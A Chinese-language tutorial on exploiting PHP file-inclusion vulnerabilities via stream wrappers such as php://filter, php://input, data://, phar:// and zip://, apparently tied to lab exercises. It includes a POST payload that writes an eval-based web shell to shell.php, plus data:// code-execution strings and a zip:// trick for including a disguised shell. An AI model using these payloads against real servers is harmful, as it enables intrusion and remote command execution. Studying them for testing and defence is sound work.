文件包含漏洞-伪协议
File://伪协议
- file:// — 用于访问本地文件系统
- php版本:5.0以上
- 是 PHP 使用的默认封装协议
- 当指定了一个相对路径(不以/、\、\\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
php://filter伪协议
- php://filter 伪协议用于数据流打开时的筛选过滤应用
- php://filter类似于readfile(),file_get_contents().设计用于数据流打开时的筛选过滤应用
- php 版本:5.0以上
- 该协议的语法:php://filter:/<action>=<name>
5.php://filter的参数列表
参数 | 功能 |
---|---|
read | 读取 |
write | 写入 |
resource | 数据来源 |
6.read参数值可为
- string.strip_tags:将数据流中的所有html标签清除
- string.toupper:将数据流中的内容转换为大写
- string.tolower:将数据流中的内容转换为小写
- convert.base64-encode:将数据流中的内容转换为base64编码
7.利用方式:
php://filter/read=convert.base64-encode/resource=phpinfo.txt
php://filter伪协议示例:
php://input伪协议
1、php://input 是个可以访问请求的原始数据只读流
利用条件:
allow_url_fopen 不做要求;
allow_url_include = On
2、使用版本:5.6.0 php://input 可反复使用。
3、利用姿势:
POST 以下数据:
<?php fputs(fopen(‘shell.php’,‘w’),‘<?php @eval($_POST[cmd])?>’);?>
BP抓包上传写入shell.php文件
cmd调用查看目录
data://伪协议
data:// — 数据
使用版本: PHP 5.2.0 起 data: 数据流封装器开始有效。
用法:
data://text/plain,<?php phpinfo();?>
data://text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
http://伪协议
- http:// – https:// — 访问 HTTP(s) 网址
- 允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。
- HTTP 请求会附带一个 Host: 头,用于兼容基于域名的虚拟主机。 如果在你的 php.ini 文件中或字节流上下文(context)配置了 user_agent 字符串,它也会被包含在请求之中。
- 利用条件:allow_url_fopen=On; allow_url_include = On
phar 伪协议
(1)phar协议的作用是归档,自 PHP 5.3.0 起开始有效
(2)Phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar归档文件提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中。
(3)phar 可以处理 tar,zip和phar文件
phar伪协议的利用方式
phar://phpinfo.zip/phpinfo.txt
注意事项:
(1)压缩包中文件的名字要和后面的一样
(2)压缩包在压缩后还可以改后缀名
- phar文件包含实例:
phar文件包含靶场练习
其他归档压缩类扩展
Bzip2、zip、LZF等
zlib:// – bzip2:// – zip:// — 压缩流
compress.zlib://file.gz
compress.bzip2://file.bz2
zip://archive.zip#dir/file.txt
zip://伪协议
(1)使用条件:
PHP>=5.3.0,注意在windows下测试要5.3.0<PHP<5.4才可以。在浏览器中#要编码为%23, 否则浏览器默认不会传输特殊字符。
(2)利用方式:
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
zip://xxx.zip#shell.txt
zip://xxx.png#shell.php
- zip实例:
zip文件包含靶场练习